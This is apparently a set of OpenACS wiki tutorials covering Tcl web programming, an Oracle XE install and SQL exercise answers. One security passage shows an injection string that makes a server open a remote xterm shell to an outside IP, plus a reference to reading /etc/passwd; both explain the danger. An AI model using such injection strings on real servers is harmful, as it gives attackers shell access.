Showing 191 - 200 of 230 Postings (
summary)
Created by Anett Szabo, last modified by Anett Szabo 11 Jul 2007, at 04:29 PM
You can invoke other Unix programs from within a Tcl script. For a Web developer this is either a tremendous convenience or a dangerous security hole.
Let's cover the convenience part first. If we want to have a Web page that displays how long the server has been up and the current load average, the exec
command is helpful:
% exec /usr/bin/uptime
4:04pm up 29 days, 4:32, 3 users, load average: 0.61, 0.66, 0.63
To make an AOLserver Tcl page that returns this output, you need only wrap the
exec
in an API call:
ns_return 200 text/plain [exec /usr/bin/uptime]
The photo sharing system at http://photo.net/photodb/ stores user-uploaded content in the Unix file system and hence makes extensive use of Unix commands to create directories, build thumnails of uploaded images, etc. Here are some examples of how the photodb system uses
exec
:
# see how much disk space a user is consuming
set disk_usage [exec du -k $data_path]
# find out how large an uploaded image is (X-Y pixel size)
# by invoking the ImageMagick command "identify"
set identify_str [exec /usr/local/bin/identify -verbose $filename]
regexp {geometry: ([0-9]*)x([0-9]*)} $identify_str match image_x image_y
# create a thumbnail-sized image using the ImageMagick command "convert"
set result_status [exec /usr/local/bin/convert $filename -geometry $size_sm -quality 75 $filename_sm]
# remove a directory of user-uploaded images
if [catch { exec rm -f $path } errmsg] ...
The Dangerous Part
Scripting languages like Perl or Tcl are convenient for Web development but it is possible to write a script that takes user-supplied input and evaluates it. With Tcl, you run the risk that a user will upload a string containing "[exec /usr/openwin/bin/xterm -display 18.30.0.1]". Because of the [] characters, if this string is ever fed to eval
or subst
a cracker would have a shell on your Web server.
If you don't need to use exec
an easy solution to the problem is to redefine it:
% proc exec args { return "happy happy joy joy" }
% exec cat /etc/passwd
happy happy joy joy
If you do need to use exec
, at least make sure that your Web server is running as an unprivileged user with limited authority to execute Unix programs. Depending on your publishing requirements and choice of Web server, it may be possible to run the Web server in a chroot() environment (this is very easy with AOLserver 3.0). This changes the root directory as far as the Web server is concerned. Thus a Tcl program running within the Web server will not be able to even look at files or programs elsewhere on the computer.
If you decide to run chrooted, you will have to copy any programs that you actually do need to exec so that they are underneath the Web server's root directory.
More: http://www.tcl.tk/man/tcl8.4/TclCmd/exec.htm
This is the last of the main Tcl topics. For more information, check out aolserver.com and the books referenced in this book.
---
based on Tcl for Web Nerds
Created by Anett Szabo, last modified by Anett Szabo 11 Jul 2007, at 04:28 PM
Tcl has a built-in interface for dealing with Unix files. The commands themselves are relatively straightforward, so we'll just explain them in a reference list below.
Reference
file atime filename
Returns as a decimal number the time that the file was last accessed.
set access_time [file atime "index.adp"] ==> 916612934
file dirname filename
Returns the name of the parent directory of the file.
set parent_dir [file dirname "~/home/dir/this.adp"] ==> ~/home/dir
file executable filename
Returns 1 if the file is executable, 0 otherwise.
chmod 1111 billg-wealth.tcl
file executable billg-wealth.tcl ==> 1
file exists filename
Returns 1 if the file exists, 0 otherwise.
file exists billg-wealth.tc ==> 0
file exists billg-wealth.tcl ==> 1
file extension filename
Returns the file extension of the file (i.e. from the last dot to the end)
file extension billg-wealth.tcl ==> .tcl
file isdirectory filename
Returns 1 if the file is a directory, 0 otherwise.
file isdirectory . ==> 1
file isdirectory billg-wealth.tcl ==> 0
file isfile filename
Returns 1 if the file is not a directory, symbolic link, or device, 0 otherwise.
file isfile billg-wealth.tcl ==> 1
file lstat filename variablename
Puts the results of the stat
command on linkname into variablename.
ln -s billg-wealth.tcl temp.tcl
file lstat temp.tcl temp ==> (array holding stat info)
file mtime filename
Returns the modify time of file as a decimal string.
file modify billg-wealth.tcl ==> 915744902
file owned filename
Returns 1 if the current user owns the file, else 0.
file owned billg-wealth.tcl ==> 1
file readable filename
Returns 1 if the file is readable, else 0.
file readable billg-wealth.tcl ==> 1
file readlink filename
Returns the contents of the symbolic link named filename.
ln -s file.txt file1.txt
file readlink file1.txt ==> file.txt
file rootname filename
Returns all but the extension and the last . of the filename.
file rootname billg-wealth.tcl ==> billg-wealth
file size filename
Returns the size in bytes of the file.
file size billg-wealth.tcl ==> 774
file stat filename variablename
Returns the stat results about the file into the array named variablename. The elements of the variable array are: atime, ctime, dev, gid, ino, mode, mtime, nlink, size, type, and uid.
file stat billg-wealth.tcl billg_info
set $billg_info(ctime) ==> 916615489
file tail filename
Returns all of the characters after the last / in the filename.
file tail ~/home/dir/subdir/file.txt ==> file.txt
file type filename
Returns the type identified of the filename arg, which can be one of the following: file, directory, characterSpecial, blockSpecial, fifo, link, or socket.
file type billg-wealth.tcl ==> file
file writable filename
Returns 1 if the file is writable, 0 otherwise.
file writable billg-wealth.tcl ==> 0
More: http://www.tcl.tk/man/tcl8.4/TclCmd/file.htm
Input/Output Commands
open filename ?access? ?permissions?
Returns a stream handle to open the file for the access specified with the permissions specified. Defaut values are read for the access required and the permissions are the same as the default permissions on a file. The access value options are r (read from existing file), r+ (read from and write to existing file), w (write over or create and write to file as necessary), w+ (read from and write to or create file as necessary), a (write to existing file; append data to it), a+ (read from and write to existing file; append data to it).
set my_stream [open /tmp/file.txt r]
More: http://www.tcl.tk/man/tcl8.4/TclCmd/open.htm
puts ?-nonewline? ?stream? string
Write the string to the stream. Default is STDOUT.
puts "Hello, world." ==> Hello, world.
More: http://www.tcl.tk/man/tcl8.4/TclCmd/puts.htm
gets stream ?varname?
Read a line from the stream. If a variable is specified, put the line into that variable.
gets $my_stream line
More: http://www.tcl.tk/man/tcl8.4/TclCmd/gets.htm
read stream ?numbytes?
If numbytes is specified, read that many bytes of the stream. If not, read the whole stream.
set first_ten_bytes [read $my_stream 10]
More: http://www.tcl.tk/man/tcl8.4/TclCmd/read.htm
read -nonewline stream
Read the whole stream and discard the last newline.
set this_file_contents [read -nonewline $my_stream]
tell stream
Return the "seek offset." (See below for seek.)
set seek_offset [tell $my_stream]
More: http://www.tcl.tk/man/tcl8.4/TclCmd/tell.htm
seek stream offset ?origin?
Set the seek offset. Origin is either start, current, or end
.
seek $my_stream offset end
More: http://www.tcl.tk/man/tcl8.4/TclCmd/seek.htm
eof stream
Returns 1 if you have reached the end of the stream; 0 otherwise.
if {[eof $my_stream]} {
break
}
More: http://www.tcl.tk/man/tcl8.4/TclCmd/eof.htm
flush stream
Write buffers of a stream
flush $my_stream
More: http://www.tcl.tk/man/tcl8.4/TclCmd/flush.htm
close stream
Close the stream.
close $my_stream
More: http://www.tcl.tk/man/tcl8.4/TclCmd/close.htm
Exercises
1. Write a procedure to check the spelling of a word:
# spell :: filedescriptor X string -> boolean
proc spell {fd word} {...}
It should take a file descriptor, which refers to an opened dictionary file, and a string, which is the word to be checked, and it should return 1 if the word is spelled correctly, or 0 if not.
We define spelled correctly to mean that the word is listed in the dictionary file. We ignore the issues of plurals, etc: if the exact word is not found in the dictionary, it's misspelled.
We define a dictionary file to be any file that contains words, one per line, which is sorted in ASCII collating order. You may use the file /home/keith/web/tcl-course/words
for testing.
Hint: this proc is extremely easy to write. If you disagree, you're approaching it wrong.
2. Modify your spelling checker to output an identifying line number with each mispelled word. Your output for each line should be the line number, a tab, and the mispelled word.
Hint: this should add about two lines to your program.
---
based on Tcl for Web Nerds
Created by Anett Szabo, last modified by Anett Szabo 11 Jul 2007, at 04:26 PM
There are three possible scopes for a variable in an AOLserver Tcl script:
- local to a procedure (the default)
- shared among all procedures executing in one thread (
global
)
- shared among all threads on a server and persistent from one connection to another (
ns_share
)
To use a variable locally, you need not declare it. To instruct the Tcl interpreter to read and set a variable in the global environment, you must call global
every place that the variable is used. For example, when side graphics have been displayed on a page, ad_footer
needs to know so that it can insert a <BR CLEAR=RIGHT>
tag.
# a proc that might display a side graphic
proc ad_decorate_side {} {
# we use a GLOBAL variable (shared by procs in a thread) as opposed to
# an ns_share (shared by many threads)
global sidegraphic_displayed_p
...
set sidegraphic_displayed_p 1
}
proc ad_footer {{signatory ""}} {
global sidegraphic_displayed_p
if [empty_string_p $signatory] {
set signatory [ad_system_owner]
}
if { [info exists sidegraphic_displayed_p] && $sidegraphic_displayed_p } {
# we put in a BR CLEAR=RIGHT so that the signature will clear any side graphic
# from the ad-sidegraphic.tcl package
set extra_br "<br clear=right>"
} else {
set extra_br ""
}
return "
$extra_br
<hr>
<a href=\"mailto:$signatory\"><address>$signatory</address></a>
</body>
</html>"
}
One of the strangest and most difficult to use features of Tcl is the ability to read and write variables up the calling stack with uplevel
and upvar
.
More: http://www.tcl.tk/man/tcl8.4/TclCmd/upvar.htm,
http://www.tcl.tk/man/tcl8.4/TclCmd/uplevel.htm,
http://www.tcl.tk/man/tcl8.4/TclCmd/global.htm
Optional arguments
Here is an example of a procedure that has one required and one optional argument:
proc ad_header {page_title {extra_stuff_for_document_head ""}} {
set html "<html>
<head>$extra_stuff_for_document_head
<title>$page_title</title>
</head>
"
return $html
}
If a page calls ad_header
with one argument, it gets the standard appropriate HTML header. If a page supplies the extra optional argument, that information gets written into the HEAD. Otherwise, the default value of empty string is used for the second argument.
Variable number of arguments
In addition, Tcl can also provide for a variable number of arguments at the end, using a special last argument called args
in any procedure definition. After all of the other (previous) arguments are bound to names, the rest of the arguments are shoved into a list called args
which can then be accessed inside the procedure.
You could imagine that between optional arguments and extra ones, the interpreter might get confused. It doesn't, because it assumes that you aren't using extra args at the end without binding all of the optional ones in the middle; that is, it stuffs argument values into the argument names in strict order without regard to options, extras, etc.
Rename
In case this wasn't flexible enough, Tcl lets you rename procedures using a proc called rename old_name new_name
. If you wanted to keep the old proc but still take advantage of the great abstraction you've used throughout your site (i.e. not change all of the command calls when you change their bodies), you can rename the old proc and create a new one with the old one's name. You can also use rename
with the empty string for the second argument. This results in the proc being deleted.
More: http://www.tcl.tk/man/tcl8.4/TclCmd/rename.htm
---
based on Tcl for Web Nerds
Created by Anett Szabo, last modified by Anett Szabo 11 Jul 2007, at 04:21 PM
Tcl arrays are actually hash tables and have nothing in common with the data structures called arrays in other programming languages . A Tcl array provides a rapid answer to the question "is there a value associated with this key". Here is a rat-simple example:
% set numeric_day(Sunday) 0
0
% set numeric_day(Monday) 1
1
% set numeric_day(Tuesday) 2
2
% # pull one value out of the hash table
% set numeric_day(Monday)
1
% # let's ask Tcl what keys are defined in the hash table
% array names numeric_day
Monday Sunday Tuesday
% # let's see if there are values for Sunday and Wednesday
% info exists numeric_day(Sunday)
1
% info exists numeric_day(Wednesday)
0
You don't have to declare to Tcl that you're going to treat a particular variable as an array; just start setting variables with the form "variable_name(key)".
You Can Use Tcl Array with Numbers as Keys
Here's a procedure that computes Fibonacci numbers in linear time by storing intermediate values in an array called fibvals
. It uses the for
loop, which we'll see again in the section on control structure.
proc fib {n} {
set fibvals(0) 0
set fibvals(1) 1
for {set i 2} {$i <= $n} {incr i} {
set fibvals($i) [expr $fibvals([expr {$i - 1}]) + $fibvals([expr {$i - 2}])]
}
return $fibvals($n)
}
Dealing with spaces inside your keys
If your index contains spaces, it will confuse the Tcl parser . For example, imagine an array called snappy_response
that contains appropriate responses to various insults, which are used as the indices to the array. Suppose you want to store a response for "Have you gained weight?". You can't feed this to Tcl as
set snappy_response(Have you gained weight?) "Your mama is so fat when
she goes to beach little kids shout out 'Free Willy'!"
Alternatives that work:
- Escape all the spaces with backslash:
set snappy_response(Have\ you\ gained\ weight?) "Your mama..."
- Enclose the array name and parenthesized key in curly braces:
set {snappy_response(Have you gained weight?)} "Your mama..."
- Name the index with a variable and then use the variable:
set this_insult "Have you gained weight?"
set snappy_response($this_insult) "Your mama..."
% set {snappy_response(Have you gained weight?)}
Your mama is so fat when she goes to beach little kids shout out 'Free Willy'!
How We Actually Use Tcl Arrays: Caching
One of the nice things about AOLserver is that it is a single Unix process. Thus it is easy for the result of an expensive computation to be cached for later use by another thread. Here is an extremely powerful procedure that enables a programmer to cache the result of executing any Tcl statement:
proc memoize {tcl_statement} {
# tell AOLserver that this variable is to be shared among threads
ns_share generic_cache
# we look up the statement in the cache to see if it has already
# been eval'd. The statement itself is the key
if { ![info exists generic_cache($tcl_statement)] } {
# not in the cache already
set statement_value [eval $tcl_statement]
set generic_cache($tcl_statement) $statement_value
}
return $generic_cache($tcl_statement)
}
This first time this procedure is called with a particular argument, the Tcl statement is evaluated (using Tcl's built-in
eval
command). The result of that evaluation is then stored in the array variable
generic_cache
with a key consisting of the full Tcl statement. The next time
memoize
is called with the same argument, the
info exists generic_cache($tcl_statement)
will evaluate to true and the value will be returned from the cache.
Here's how a piece of code might look before:
ns_return 200 text/html [page_with_top_10_popular_items]
If someone notices that (1)
page_with_top_10_popular_items
requires sweeping the database and takes 30 seconds to execute, and (2) the result doesn't change more than once or twice a day, the natural conclusion is memoization:
ns_return 200 text/html [memoize "page_with_top_10_popular_items"]
Our actual toollkit contains Memoize and Memoize_for_Awhile, the latter of which takes an argument of after how many seconds the information in the cache should be considered stale and reevaluated.
How We Actually Use Tcl Arrays: In-Memory Database
Typically on the Web the last thing that you'd want is an in-memory database. If the server crashes or the user gets bounced to another machine by a load-balancer, you don't want critical data to be trapped inside a Web server's virtual memory. However, there is one situation where you would want an in-memory database: to store information about the server itself.
In the ArsDigita Community System, an attempt is made to document every externally-called procedure. We want to build up a documentation database that grows as procedures are defined on a running server. The fundamental mechanism is to define procedures using our own procedure, proc_doc
. This takes a documentation string as an extra argument, calls proc
to actually define the procedure, then records in a Tcl array variable the file from which the procedure definition was read and the doc string:
proc proc_doc {name args doc_string body} {
ns_share proc_doc
ns_share proc_source_file
# let's define the procedure first
proc $name $args $body
set proc_doc($name) $doc_string
set proc_source_file($name) [info script]
}
The end-result?
http://photo.net/doc/procs.tcl.
Full Documentation
Tcl provides support for iterating through the indices, and for coverting lists to arrays.
More: http://www.tcl.tk/man/tcl8.4/TclCmd/array.htm
ns_set instead
If you're using AOLserver and need to associate keys with values, you might be better off using the ns_set data structure. The advantages of ns_set over Tcl arrays are the following:
- you can easily pass ns_sets from procedure to procedure
- you can easily pass ns_sets from C code to Tcl and vice versa
A disadvantage of ns_sets is that they require
O[n] time to look up the value of key, compared to
O[1} time for the Tcl array, which, as noted above, is actually a hash table. If you are managing thousands of keys, this might become significant. Otherwise, program using whichever data structure seems more natural.
See the Tcl Developer's guide at www.aolserver.com for documentation of the ns_set facility.
---
based on Tcl for Web Nerds
Created by Malte Sussdorff, last modified by Malte Sussdorff 11 Jul 2007, at 12:01 PM
This is a slimmed down version of the installation instructions particularily targeted towards getting you up and running in Oracle FAST, not with the full instructions which are outdated but can be found at
This instructions owe a lot to the excellent Guide for "Installing Oracle XE on Debian" from David Pashley.
Oracle is resource hungry, so you better make sure you have enough swap space for the installation:
-
Determine the size of the new swap file
and multiple by 1024 to determine the block size. For example, the
block size of a 1024 MB swap file is 1048576.
-
At a shell prompt as root, type the following command with count being equal to the desired block size:
dd if=/dev/zero of=/swapfile bs=1024 count=1048576
|
-
Setup the swap file with the command:
-
To enable the swap file immediately but not automatically at boot time:
-
After adding the new swap file and enabling it, make sure it is enabled by viewing the output of the command cat /proc/swaps or free.
To download and install Oracle XE, you need to add the following line to your /etc/apt/sources.list file:
deb http://oss.oracle.com/debian unstable main non-free
Then you can install it
wget http://oss.oracle.com/el4/RPM-GPG-KEY-oracle -O- | sudo apt-key add -
apt-get update
apt-get install oracle-xe
We should now do what the install script said and run /etc/init.d/oracle-xe configure to do the final set up of the database.
db-server:/# /etc/init.d/oracle-xe configure
Oracle Database 10g Express Edition Configuration
-------------------------------------------------
This will configure on-boot properties of Oracle Database 10g Express
Edition. The following questions will determine whether the database should
be starting upon system boot, the ports it will use, and the passwords that
will be used for database accounts. Press <Enter> to accept the defaults.
Ctrl-C will abort.
Specify the HTTP port that will be used for Oracle Application Express [8080]:<enter>
Specify a port that will be used for the database listener [1521]:<enter>
Specify a password to be used for database accounts. Note that the same
password will be used for SYS and SYSTEM. Oracle recommends the use of
different passwords for each database account. This can be done after
initial configuration:password
Confirm the password:password
Do you want Oracle Database 10g Express Edition to be started on boot (y/n) [y]:<enter>
Starting Oracle Net Listener...Done
Configuring Database...Done
Starting Oracle Database 10g Express Edition Instance...Done
Installation Completed Successfully.
To access the Database Home Page go to "http://127.0.0.1:8080/apex"
Make sure that all users can access the SQLPlus command and that other Oracle Environment Variables are setup correctly:
echo "source /usr/lib/oracle/xe/app/oracle/product/10.2.0/server/bin/oracle_env.sh" >>/etc/profile
And that's it, you are ready to use Oracle. If you need Oracle on a different machine then your AOLserver than you can take a look at the full documentation for this at http://cognovis.de/developer/en/oracle-xe-installation
Created by Anett Szabo, last modified by Anett Szabo 10 Jul 2007, at 11:24 PM
Exercise 1.
-
Display everyone's first name and their age for everyone that's in table.
select first,
age
from empinfo;
-
Display the first name, last name, and city for everyone that's not from Payson.
select first,
last,
city
from empinfo
where city <>
'Payson';
-
Display all columns for everyone that is over 40 years old.
select * from empinfo
where age > 40;
-
Display the first and last names for everyone whose last name ends in an "ay".
select first, last from empinfo
where last LIKE '%ay';
-
Display all columns for everyone whose first name equals "Mary".
select * from empinfo
where first = 'Mary';
-
Display all columns for everyone whose first name contains "Mary".
select * from empinfo
where first LIKE '%Mary%';
Exercise 2.
1.
SELECT customerid, item, price
FROM items_ordered
WHERE customerid=10449;
2.
SELECT * FROM items_ordered
WHERE item = 'Tent';
3.
SELECT customerid, order_date, item
FROM items_ordered
WHERE item LIKE 's%';
4.
SELECT DISTINCT item
FROM items_ordered;
Exercise 3.
1.
SELECT max(price)
FROM items_ordered;
2.
SELECT avg(price)
FROM items_ordered
WHERE order_date LIKE '%Dec%';
3.
SELECT count(*)
FROM items_ordered;
4.
SELECT min(price) FROM items_ordered WHERE item = 'Tent';
Exercise 4.
1.
SELECT state, count(state)
FROM customers
GROUP BY state;
2.
SELECT item, max(price), min(price)
FROM items_ordered
GROUP BY item;
3.
SELECT customerid, count(customerid), sum(price)
FROM items_ordered
GROUP BY customerid;
Exercise 5.
1.
SELECT state, count(state)
FROM customers
GROUP BY state
HAVING count(state) > 1;
2.
SELECT item, max(price), min(price)
FROM items_ordered
GROUP BY item
HAVING max(price) > 190.00;
3.
SELECT customerid, count(customerid), sum(price)
FROM items_ordered
GROUP BY customerid
HAVING count(customerid) > 1;
Exercise 7.
1.
SELECT customerid, order_date, item
FROM items_ordered
WHERE (item <> 'Snow shoes') AND (item <> 'Ear muffs');
Note: Yes, that is correct, you do want to use an AND here. If you were to use an OR here, then either side of the OR will be true, and EVERY row will be displayed. For example, when it encounters 'Ear muffs', it will evaluate to True since 'Ear muffs' are not equal to 'Snow shoes'.
2.
SELECT item, price
FROM items_ordered
WHERE (item LIKE 'S%') OR (item LIKE 'P%') OR (item LIKE 'F%');
Exercise 8.
1.
SELECT order_date, item, price
FROM items_ordered
WHERE price BETWEEN 10.00 AND 80.00;
2.
SELECT firstname, city, state
FROM customers
WHERE state IN ('Arizona', 'Washington', 'Oklahoma', 'Colorado', 'Hawaii');
Exercise 9.
select item, sum(price)/sum(quantity)
from items_ordered
group by item;
Created by Malte Sussdorff, last modified by Anett Szabo 09 Jul 2007, at 05:22 PM
This is a copy of the TCL for WebNerds Book located at http://philip.greenspun.com/tcl/. It will be edited for use in OpenACS, getting rid of some MIT specific comments and trying to be as focused on OpenACS as possible.
It is still the best reference for new developers to use and you should be thankful for the original authors for their outstanding work:
Hal Abelson, Philip Greenspun, and Lydia Sandon
Created by Anett Szabo, last modified by Anett Szabo 09 Jul 2007, at 05:18 PM
Created by Anett Szabo, last modified by Gustaf Neumann 07 Jul 2007, at 04:22 PM
The interpreter can be called explicitly to complete extra rounds of substitutions or simply to interpret an additional time, using the subst and eval instructions respectively. The
eval
command takes a string argument which is a command, as follows:
% set cmd {puts stdout "Hello, World!"}
puts stdout "Hello, World!"
% eval $cmd
Hello, World!
The
subst
command does the single round of substitution ordinarily completed by the interpreter, but without invoking any command. It takes one argument, the string to be substituted into.
% set a "foo bar"
foo bar
% subst {a=$a date=[exec date]}
a=foo bar date=Thu Feb 30 1:11:11 EST 1901
While curly braces normally prevent internal substitution, they are not respected by the subst
command. In order to prevent the single round of substitution, the backslash must be used before special characters like a dollar sign or square brackets.
More: http://www.tcl.tk/man/tcl8.4/TclCmd/eval.htm
---
based on Tcl for Web Nerds
Created by Malte Sussdorff, last modified by Malte Sussdorff 05 Jul 2007, at 06:46 PM
OpenACS has introduced a couple of conventions for the use of TCL which have changed over the years while OpenACS has evolved. These conventions do not contradict anything you have learned so far, but when working within OpenACS, these Tips will help you get around:
Namespaces
Procedures
Procedures in OpenACS are generated using "ad_proc". Issues to explain
ad_proc has the following advantages over proc
- A procedure can be declared as public, private, deprecated, and warn.
- Procedures can be declared with regular positional parameters (where
you pass parameters in the order they were declared), or with named
parameters, where the order doesn't matter because parameter names are
specified explicitely when calling the parameter. Named parameters are
preferred.
- If you use named parameters, you can specify which ones are required, optional,
(including default values), and boolean. See the examples below.
- The declaration can (and should!) include documentation. This documentation
may contain tags which are parsed for display by the api browser. Some tags are
@param, @return, @error, @see, @author
(probably this should be better documented).
When a parameter is declared as boolean, it creates a variable $param_name_p.
For example: -foo:boolean will create a variable $foo_p.
If the parameter is passed, $foo_p will have value 1. Otherwise,
$foo_p will have value 0.
Boolean named parameters can optionally take a boolean value than can
make your code cleaner. The following example by Michael Cleverly shows why:
If you had a procedure declared as ad_proc foobar {-foo:boolean} { ... },
it could be invoked as foobar -foo, which could yield some code like
the following in your procedure:
if {$flush_p} {
some_proc -flush $key
} else {
some_proc $key
}
However, you could invoke the procedure as foobar -foo=$some_boolean_value
(where some_boolean_value can be 0, 1, t, f, true, false),
which could make your procedure cleaner because you could write instead:
some_proc -flush=$foo_p $key.
With named parameters, the same rule as the Tcl switch statement apply,
meaning that -- marks the end of the parameters. This is important if
your named parameter contains a value of something starting with a "-".
Here's an example with named parameters, and namespaces (notice the preferred way of
declaring namespaces and namespaced procedures). Ignore the \ in "@param",
I had to use it so the api-browser wouldn't think the parameter docs were for ad_proc
itself:
namespace eval ::foobar {}
ad_proc -public ::foobar::new {
{-oacs_user:boolean}
{-shazam}
{-user_id ""}
} {
The documentation for this procedure should have a brief description of the
purpose of the procedure (the WHAT), but most importantly, WHY it does what it
does. One can read the code and see what it does (but it's quicker to see a
description), but one cannot read the mind of the original programmer to find out
what s/he had in mind.
@author Roberto Mello
@creation-date 2002-01-21
@param oacs_user If this user is already an openacs user. oacs_user_p will be defined.
@param shazam Magical incantation that calls Captain Marvel. Required parameter.
@param user_id The id for the user to process. Optional with default ""
(api-browser will show the default automatically)
@return Returns the result of the operation
} {
if { [empty_string_p $user_id] } {
# Do something if this is not an empty string
}
if { $oacs_user_p } {
# Do something if this is an openacs user
}
return $result
}